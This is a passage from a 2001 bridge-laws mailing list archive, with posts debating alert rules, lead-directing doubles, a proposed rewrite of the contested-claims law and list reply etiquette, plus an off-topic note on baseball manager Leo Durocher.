Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Herman De Wael" > "Marvin L. French" wrote: > > > > > > > > 9 B 1 (a) The Director must be summoned at once when attention is > > > drawn to an irregularity. > > > > Attention wasn't called to the irregularity. There is no evidence > > that N/S knew there had been an irregularity. Very few B players > > know the Alert Procedure. When they saw the dummy it occurred to > > them that there might have been an irregularity, so one of them (we > > don't know which) called the TD. > > > > This raises an important issue. > Is it legal for a player to claim ignorance of the > regulations as an excuse for not protecting his rights ? > > I don't believe it is, but perhaps American legal practice > is far less draconian on this that us Napoleonic code > continentals. > > Which Law requires that a player call attention to an irregularity that is evidently unnoticed by anyone else? L9 uses the word "may," not even "should." Where is the "protecting his rights" language to be found? Preface: "When these Laws say that a player "may" do something ("any player may call attention to an irregularity during the auction."), the failure to do so is in no way wrong." How can a player's right to redress, full or partial, be withheld because a player calls attention to an irregularity sometime after s/he knew of it, or may have known of it, if that is "in no way wrong"? The French translator took pains to ensure that this sentence is fully understood, adding that L9A1 does not imply that a player has any obligation to call attention to an irregularity ("...n'implique aucune obligation pour le joueur"). Any SO regulation implying the contrary is not in accord with the Laws. Of course there is no MI if opponents know what is going on, or could easily know by looking at the opposing CC (assuming it's correct and visible). In that case there may be an irregularity (e.g., failure to Alert), but it may not lead to a score adjustment for the other side. However, I do not believe that a player should be obligated to ask questions in order to ascertain whether CC or Alert regulations are being followed. Too often this is an illegal "pro question" for partner's benefit or an unintentional creation of UI that partner utilizes in some way. Let's get this clear. If I know of a failure to Alert, I say nothing until it becomes necessary to call attention to it. "Necessary" does not include the possibility that partner may have MI and should be protected by me. I don't protect partners. The ACBL says "Players, who by experience or expertise,...will be expected to protect themselves." "Themselves" does not include partners, as an illegal "their side" would. In this particular case, N/S can be denied redress only if there was no MI (i.e., South knew that 3H was non-forcing when it was his turn to bid). There was no evidence to that effect for these B players, who should have been given the benefit of any doubt. Expecting North to reopen with 4C (knowing now that 3H was not forcing) is expecting too much, by the way. Grattan feels that South might not have doubled if he had known that 3H was not forcing. A fair chance for a double is all that is required for redress in accordance with L12C2; it doesn't have to be clearly indicated. This opinion could be modified if E/W had the red box labeled "New Suit NF" checked and their CC in plain view. Unlikely. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 07:34:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UKYFc21586 for bridge-laws-outgoing; Wed, 31 Jan 2001 07:34:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from imo-d04.mx.aol.com (imo-d04.mx.aol.com [205.188.157.36]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UKXst21581 for ; Wed, 31 Jan 2001 07:33:56 +1100 (EST) Received: from WSFlory@aol.com by imo-d04.mx.aol.com (mail_out_v29.5.) id 7.6d.ec4ac45 (3953) for ; Tue, 30 Jan 2001 15:33:08 -0500 (EST) From: WSFlory@aol.com Message-ID: <6d.ec4ac45.27a87f04@aol.com> Date: Tue, 30 Jan 2001 15:33:08 EST Subject: Re: [BLML] Alert or Not To: bridge-laws@rgb.anu.edu.au MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_6d.ec4ac45.27a87f04_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 352 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk --part1_6d.ec4ac45.27a87f04_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit 1. Reply no longer goes to the discuss list. 2. Cut and paste seems to be the only way to quote. Is it the consensus of the list that this is the best way to go? The only way to reply to the list is to do a "reply all" and then delete the additional send-to names. Again, is this what the group as a whole prefers? It seems strange and clumsy to me, but I am but a single voice. Walt Flory --part1_6d.ec4ac45.27a87f04_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit 1. Reply no longer goes to the discuss list.
2. Cut and paste seems to be the only way to quote.

Is it the consensus of the list that this is the best way to go?

The only way to reply to the list is to do a "reply all" and then delete the
additional send-to names. Again, is this what the group as a whole prefers?

It seems strange and clumsy to me, but I am but a single voice.

Walt Flory
--part1_6d.ec4ac45.27a87f04_boundary-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 07:38:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UKc5221611 for bridge-laws-outgoing; Wed, 31 Jan 2001 07:38:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from imo-d05.mx.aol.com (imo-d05.mx.aol.com [205.188.157.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UKbnt21607 for ; Wed, 31 Jan 2001 07:37:49 +1100 (EST) Received: from WSFlory@aol.com by imo-d05.mx.aol.com (mail_out_v29.5.) id 7.35.1015b30c (3953) for ; Tue, 30 Jan 2001 15:37:29 -0500 (EST) From: WSFlory@aol.com Message-ID: <35.1015b30c.27a88009@aol.com> Date: Tue, 30 Jan 2001 15:37:29 EST Subject: Re: [BLML] Alert or Not To: bridge-laws@rgb.anu.edu.au MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_35.1015b30c.27a88009_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 352 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk --part1_35.1015b30c.27a88009_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit What is the DWS principle? Thanks, Walt Flory ____ In a message dated 1/30/01 12:58:08 PM Eastern Standard Time, agot@ulb.ac.be writes: > At 13:16 30/01/01 +0100, Herman De Wael wrote: > >Wayne Burrows wrote: > >> > >> How do you see the law/ethics of alerting your partner's conventional > responses to your unalerted conventional bids? > >> > > > >Do you really want my opinion ? > > > >Go check the home page for the "DeWael School" : > > AG : I just did it, and I feel I could summarize the DeWael style in one > line : > > "the infraction of temporary misinformation is less apt to cause damage > than the awakening of partner" > > with which one can agree or not. Although it is quite possible, I'm > cautious about it, because UI is not per se an infraction, while MI is. > > But I don't think the DWS principle should apply here, because from the > fact that partner didn't alert, you can't infer he didn't know the bid was > conventional. He could as well : > - have alerted so lightly that you didn't notice it (this may be incorrect > in itself, of course) > - think the bid isn't alertable, and he might even be right > - have forgotten alerting, an infraction, but not always harmful > > In each of these cases, you *create* an infractional and intricate > situation by your explanation. The difference being, of course, you are not > sure what partner thinks. In all original DWS cases, you are. > > As an example : > > the moron you > > 1NT p 2H p > 2S > > Both of you know perfectly well you play transfers. 2H was indeed intended > as transfer. > You think 2H is alertable. Partner doesn't. Whether it is or not is a minor > consideration. > Partner corrects the transfer. You explain it as hearts + spades. *You* > create the mess. > > Of course, if partner had (wrongly) explained 2H was natural, the DWS > principle could apply (whether it should is another matter). > > Alain. > > -- > --part1_35.1015b30c.27a88009_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit What is the DWS principle?

Thanks,

Walt Flory
____


In a message dated 1/30/01 12:58:08 PM Eastern Standard Time, agot@ulb.ac.be
writes:


At 13:16 30/01/01 +0100, Herman De Wael wrote:
>Wayne Burrows wrote:
>>
>> How do you see the law/ethics of alerting your partner's conventional
responses to your unalerted conventional bids?
>>
>
>Do you really want my opinion ?
>
>Go check the home page for the "DeWael School" :

AG : I just did it, and I feel I could summarize the DeWael style in one
line :

"the infraction of temporary misinformation is less apt to cause damage
than the awakening of partner"

with which one can agree or not. Although it is quite possible, I'm
cautious about it, because UI is not per se an infraction, while MI is.

But I don't think the DWS principle should apply here, because from the
fact that partner didn't alert, you can't infer he didn't know the bid was
conventional. He could as well :
- have alerted so lightly that you didn't notice it (this may be incorrect
in itself, of course)
- think the bid isn't alertable, and he might even be right
- have forgotten alerting, an infraction, but not always harmful

In each of these cases, you *create* an infractional and intricate
situation by your explanation. The difference being, of course, you are not
sure what partner thinks. In all original DWS cases, you are.

As an example :

   the moron        you

   1NT        p    2H    p
   2S

Both of you know perfectly well you play transfers. 2H was indeed intended
as transfer.
You think 2H is alertable. Partner doesn't. Whether it is or not is a minor
consideration.
Partner corrects the transfer. You explain it as hearts + spades. *You*
create the mess.

Of course, if partner had (wrongly) explained 2H was natural, the DWS
principle could apply (whether it should is another matter).

   Alain.

--


--part1_35.1015b30c.27a88009_boundary-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 07:57:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UKv7D21733 for bridge-laws-outgoing; Wed, 31 Jan 2001 07:57:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UKuct21728 for ; Wed, 31 Jan 2001 07:56:40 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu (8.10.2/8.10.2) id f0UE6wq03607; Tue, 30 Jan 2001 14:06:58 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: NARDULLO Ennio , bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Double lightner Date: Tue, 30 Jan 2001 14:02:49 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <01013014065702.03573@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Tue, 30 Jan 2001, NARDULLO Ennio wrote: > I think that the double of the type : > > 1h-p-2c-p > 2h-p-3h-p > 4d-p-4d-p [Opener bids 4C, I assume?] > 4h-p-6h-double > or 1Nt-p-3NT-double > > must be alerted , if they want a specified lead. > I understand that it's bridge , that depends of the opponents ... > I know that the regulations in the words are different. The Lightner double does not need to be alerted because it is standard. In some jurisdictions, all conventions are alertable, but even here, it's hard to imaging dmaage arising. The double of 1NT-3NT needs to be alerted if there is an unusal agreement. It is clear to a good player that this means, "Lead something unusual", but some players play the Fisher double, under which the double demands a club lead if Stayman was not used and a diamond if Stayman was used. This is alertable because it has a specific meaning which the opponents may not know. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 08:15:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ULF8Q21840 for bridge-laws-outgoing; Wed, 31 Jan 2001 08:15:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ULF0t21836 for ; Wed, 31 Jan 2001 08:15:02 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id PAA13990 for ; Tue, 30 Jan 2001 15:16:17 -0600 (CST) Message-Id: <3.0.6.32.20010130151411.007ce730@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 30 Jan 2001 15:14:11 -0600 To: bridge-laws@rgb.anu.edu.au From: Grant Sterling Subject: Re: Way, Way OT Baseball quotes, was Re: [BLML] Claim? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 03:06 PM 1/26/2001 -0800, Todd Zimnoch wrote: >(I had to look this one up) >Leo - Leo Durocher. Manager of the Brooklyn Dodgers. Known for a big and >fiesty personality as well. Leo, AKA "Leo the Lip". Manager of the Brooklyn Dodgers from 1939 through half of 1948, minus 1947 which he missed because he was suspended for associating with gamblers and being a general pain in the butt. He then went to the NY Giants, where he managed until 1955. He then kicked around doing this and that until 1966, when he was hired to manage the Chicago Cubs. He stayed with them until 72, managed the Houston Astros for a year, and then ended his managerial career. [The Dodgers have since moved to Los Angeles, the Giants to San Francisco.] Leo had been an aggressive and combative player, and remained that as a manager, being frequently in trouble with the league office and his own team ownership. He also triggered at least one rebellion among his own players, led by a Hall of Fame player noted for being a quiet and unassuming gentleman. His ability as a manager is controversial--some argue that he was a great success, taking the Dodgers and Giants from mediocrity to championship contention, while others argue that he failed to make the talented Cubs winners, and was unable to make the Dodgers and Giants sustain their success after good starts. He was elected to the Baseball Hall of Fame in 1994, for his ability as a manager and not as a player, FWIW. He wrote a book entitled "Nice Guys Finish Last", which fairly well summarizes his philosophy. He is nearly unanimously considered a complete jackass by those who favor a liberal reading of L68A, although the literalists think that he was a fiery leader who brought out the best in his teams. >-Todd Making sure bridge got in there somewhere, Grant -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 08:41:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ULf3L28071 for bridge-laws-outgoing; Wed, 31 Jan 2001 08:41:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ULedt28002 for ; Wed, 31 Jan 2001 08:40:40 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id NAA02366; Tue, 30 Jan 2001 13:40:33 -0800 Message-Id: <200101302140.NAA02366@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-reply-to: Your message of "Mon, 29 Jan 2001 19:57:05 GMT." Date: Tue, 30 Jan 2001 13:40:32 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Yesterday, David Stevenson posted his suggested version of Law 70 (and parts of L68). I'm assuming that this was serious, i.e. intended as something for the Lawmakers to consider actually putting into the book. With that in mind, I have a few comments of my own. > LAW 70 - CONTESTED CLAIMS > > A. General Objective > 1 Non-claimer has revoked. > If the side that did not claim has revoked, then the > claim establishes the revoke, If the revoke was not established previously, that is. I don't know whether it's necessary or beneficial to include such language, however. I notice that in adding this clause, we've taken away, in some cases, the opportunity for a revoker to notice he has revoked and correct it immediately. As a declarer, I'm often in a position where I know that the hand is over as soon as my opponent plays a card, unless something unexpected happens; in such cases, I will face my hand about 0.2 seconds after the opponent's play. If this happens in a case where the opponent has revoked, this isn't enough time for the opponent to notice it and say something. I'm not saying I disapprove, either. I'm one of those who does not mind that the revoke penalties sometimes give more tricks to the non-offenders than they could have gotten on their own, and if this makes people more cautious about following suit next time, that's a big plus. However, if someone were to suggest that, in order for claimer to be protected by this law, claimer must let a certain short period of time elapse from the time an opponent who is not on lead plays until the claim, say 1 to 1.5 seconds, that also might make sense. > the Director adjudicates > the result of the board as equitably as possible to > both sides, but any doubtful points shall be resolved > against the revoker. I notice that this doesn't address the L64A2 issue, i.e. determining whether the penalty is one or two tricks when an additional trick may have been won by the offending player if play were to continue. Perhaps some might think this is covered by "doubtful points shall be resolved against the revoker." However, I think it's possible to interpret the action of "adjudicating the result of the board" as *separate* from the action of applying the revoke penalties, and thus the "doubtful points" clause wouldn't necessarily apply to the determination of the revoke penalty. Plus, there will still be those who argue that no player wins any tricks after a claim. I'd suggest including some language to clarify how the penalty is computed after a claim (either in L70 or L64A2); other solutions, such as scrapping L64A2 entirely and going back to a two-trick penalty in all circumstances, would be acceptable to me also. > 2 Non-claimer has not revoked. > Otherwise, in ruling on a contested claim, the > Director adjudicates the result of the board as > equitably as possible to both sides, but any doubtful > points shall be resolved against the claimer. > > The Director proceeds as follows. > > B. Clarification Statement Repeated > > 1 Give Claimer chance to make statement > If the Director judges that claimer has not been > given a reasonable chance to make a clarification > statement then he invites claimer to make one. > 2 Require Claimer to Repeat Statement > The Director requires claimer to repeat the > clarification statement he made at the time of his > claim. > 3 Require All Hands to Be Faced > Next, the Director requires all players to put their > remaining cards face up on the table. > 4 Hear Objections > The Director then hears the opponents' objections to > the claim. > 5 Decision > The Director then adjudges the claim as fairly as > possible, following the clarification statement if > possible, Maybe this should be narrowed this down a bit further, to stipulate that we follow the clarification statement *as* *far* *as* possible; i.e., when we're considering possible lines of play, we consider lines that deviate from the clarification statement only *after* it will become obvious to claimer that the original clarification statement is impossible. This clarification may not be necessary, however. > but allowing for the opponents' objections. > The Director shall not consider any successful line ^^^^^^^^^^ I'm not sure the word "successful" is necessary here, and it may be harmful. If declarer in 4S claims "making 4", but because of a flaw in his claim, the actual result would be making 4, down 1, or down 2 depending on which (normal) line declarer actually takes, the Director should be instructed not to consider the "down 1" line either, even though such a line can't be considered a "successful" one. > of play not embraced in the original clarification > statement if there is an alternative normal [*] > line of play that would be less successful. > > All Laws not mentioned are unchanged, except that in the revoke Law I > am suggesting that an opponents' claim establishes the revoke. > > The logic behind and reasons for L70B5 can be seen [referred to as > L70B4] in the article Strange Claim by David Stevenson and Herman De > Wael at > > http://www.blakjak.demon.co.uk/str_clm.htm One other potential problem that may need to be addressed: L68D says "If [a claim] is disputed by any player (dummy included), the Director must be summoned immediately . . ." Some time ago, I wrote of a situation where declarer claimed down 1, and after we showed our hands, I pointed out that if I led a certain card he'd be stuck in dummy and forced to give up another trick, so he changed his claim to down 2, and we scored it up that way. This seems to violate the language of L68D; however, when I posted this as a question, everyone on BLML thought it was OK, and everyone gave an interpretation of the Laws to show that our actions didn't violate the Law. I'm not quite convinced, though; it still seems like L68D made our actions illegal. If we think it should be fine for the table to briefly discuss a claim and then agree on the result (which may or may not be the result claimer originally claimed), does the Law need to be amended to say it's OK? -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 09:02:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UM2SA29800 for bridge-laws-outgoing; Wed, 31 Jan 2001 09:02:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UM2Ft29796 for ; Wed, 31 Jan 2001 09:02:17 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id RAA04723; Tue, 30 Jan 2001 17:02:08 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id RAA21449; Tue, 30 Jan 2001 17:02:07 -0500 (EST) Date: Tue, 30 Jan 2001 17:02:07 -0500 (EST) From: Steve Willner Message-Id: <200101302202.RAA21449@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au, WSFlory@aol.com Subject: Re: [BLML] Alert or Not X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: WSFlory@aol.com > 1. Reply no longer goes to the discuss list. It never did. We have had occasional discussions of the matter, but the list manager (Markus) has not found compelling reason to change. > 2. Cut and paste seems to be the only way to quote. Your mailer must be broken. (AOL often is.) "Include" works fine on mine. I don't see how quoting could depend on incoming messages anyway, but I suppose anything is possible with software. > The only way to reply to the list is to do a "reply all" and then delete the > additional send-to names. You can also use an alias (or "address book entry" as some mail programs call it). Use 'reply', then substitute 'blml' (or your preferred alias) for the recipient. Please delete the HTML attachments, by the way. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 09:27:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UMR1503887 for bridge-laws-outgoing; Wed, 31 Jan 2001 09:27:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UMQmt03835 for ; Wed, 31 Jan 2001 09:26:50 +1100 (EST) Received: from cc68559a ([24.5.183.132]) by femail7.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010130222644.CLNE20032.femail7.sdc1.sfba.home.com@cc68559a> for ; Tue, 30 Jan 2001 14:26:44 -0800 Reply-To: From: "Linda Trent" To: "Bridge Laws" Subject: RE: [BLML] Cincinnati NABC Appeal 36 Date: Tue, 30 Jan 2001 14:28:39 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 In-Reply-To: Importance: Normal Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > I am not saying for certain that I have never had a copy, though I do > not think so. Linda apologised for not sending me a copy recently but I > have lost track and am not sure to which NABC she referred. All I know > is that the most recent one I can find at home was Boston, Fall 99. > It was Cincinnati - but I did manage to scour up a few, so it is on its way to you along with the Birmingham cases... (And Grattan and Ton, too) Linda -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 10:13:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UNCUs15012 for bridge-laws-outgoing; Wed, 31 Jan 2001 10:12:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cosmos.CCRS.NRCan.gc.ca (cosmos.ccrs.nrcan.gc.ca [132.156.47.32]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UNCIt14949 for ; Wed, 31 Jan 2001 10:12:19 +1100 (EST) Received: (from johnson@localhost) by cosmos.CCRS.NRCan.gc.ca (8.10.1/8.10.1) id f0UNDGe19566 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 18:13:17 -0500 (EST) From: Ron Johnson Message-Id: <200101302313.f0UNDGe19566@cosmos.CCRS.NRCan.gc.ca> Subject: Re: [BLML] Double lightner To: bridge-laws@rgb.anu.edu.au Date: Tue, 30 Jan 2001 18:12:57 -0500 (EST) In-Reply-To: <01013014065702.03573@psa836> from "David J Grabiner" at Jan 30, 2001 02:02:49 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David J Grabiner writes: > > On Tue, 30 Jan 2001, NARDULLO Ennio wrote: > > I think that the double of the type : > > > > 1h-p-2c-p > > 2h-p-3h-p > > 4d-p-4d-p [Opener bids 4C, I assume?] > > 4h-p-6h-double > > > or 1Nt-p-3NT-double > > > > must be alerted , if they want a specified lead. > > I understand that it's bridge , that depends of the opponents ... > > I know that the regulations in the words are different. > > The Lightner double does not need to be alerted because it is standard. > In some jurisdictions, all conventions are alertable, but even here, > it's hard to imaging dmaage arising. Though failure to alert a negative Slam double (or a pass in a situation where negative slam doubles apply) could result in damage because they have an unexpected meaning. This I believe was the logic behind the the Albuquerque AC saying that an alert of a Lightner double can cause harm. It provides zero information and may cause an opponent to make a very dangerous assumption. Very few pairs still play negative slam doubles but I know that Chemla-Perron did the last time they were on speaking terms. > The double of 1NT-3NT needs to be alerted if there is an unusal > agreement. It is clear to a good player that this means, "Lead > something unusual", but some players play the Fisher double, under > which the double demands a club lead if Stayman was not used and a > diamond if Stayman was used. This is alertable because it has a > specific meaning which the opponents may not know. -- RNJ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 11:16:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0V0FaH27757 for bridge-laws-outgoing; Wed, 31 Jan 2001 11:15:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0V0FFt27694 for ; Wed, 31 Jan 2001 11:15:16 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Tue, 30 Jan 2001 16:11:54 -0800 Message-ID: <00c901c08b1a$d59caf80$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <6d.ec4ac45.27a87f04@aol.com> Subject: Re: [BLML] Alert or Not Date: Tue, 30 Jan 2001 16:05:11 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: > The only way to reply to the list is to do a "reply all" and then delete the > additional send-to names. Again, is this what the group as a whole prefers? > > It seems strange and clumsy to me, but I am but a single voice. > It's the way I do it, not too inconvenient but there are probably easier ways. One of my pet peeves is the use of Cc for sending something to BLML. Then I have to delete the To:, copy the Cc, and paste that to the To: line. That's inconvenient. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 12:15:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0V1FNs12847 for bridge-laws-outgoing; Wed, 31 Jan 2001 12:15:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from protactinium ([194.73.73.176]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0V1F7t12787 for ; Wed, 31 Jan 2001 12:15:08 +1100 (EST) Received: from [62.7.100.117] (helo=pbncomputer) by protactinium with smtp (Exim 3.03 #83) id 14NlrK-0002ql-00 for bridge-laws@rgb.anu.edu.au; Wed, 31 Jan 2001 01:14:54 +0000 Message-ID: <002f01c08b23$29c27560$7564073e@pbncomputer> From: "David Burn" To: "Bridge Laws Discussion List" References: <4.3.2.7.1.20010129104153.00a9a7b0@127.0.0.1> Subject: Re: [BLML] Claim? Date: Wed, 31 Jan 2001 01:13:47 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric wrote: > I believe Tom has reached the heart of the problem. When a player, > even one thoroughly versed in the subtleties of the claims laws, says > "I am going to take 10 tricks", this can only, to avoid doing a > terrible injustice to both the English language and the game of bridge, > be taken as the equivalent of "I am about to embark on a line of play > on which I will make 10 tricks regardless of the distribution of the > outstanding cards" rather than "10 tricks will be made on this hand on > any normal line of play, including those that are careless or inferior, > regardless of the distribution of the outstanding cards". If this > debate has generated some heat between the literalists and those who > believe that the literalists are Draconian Fascists, it is because some > of us are naturally reluctant, as working TDs, to tell our players, > "Well, of course we know you meant [the former], but the law requires > me to 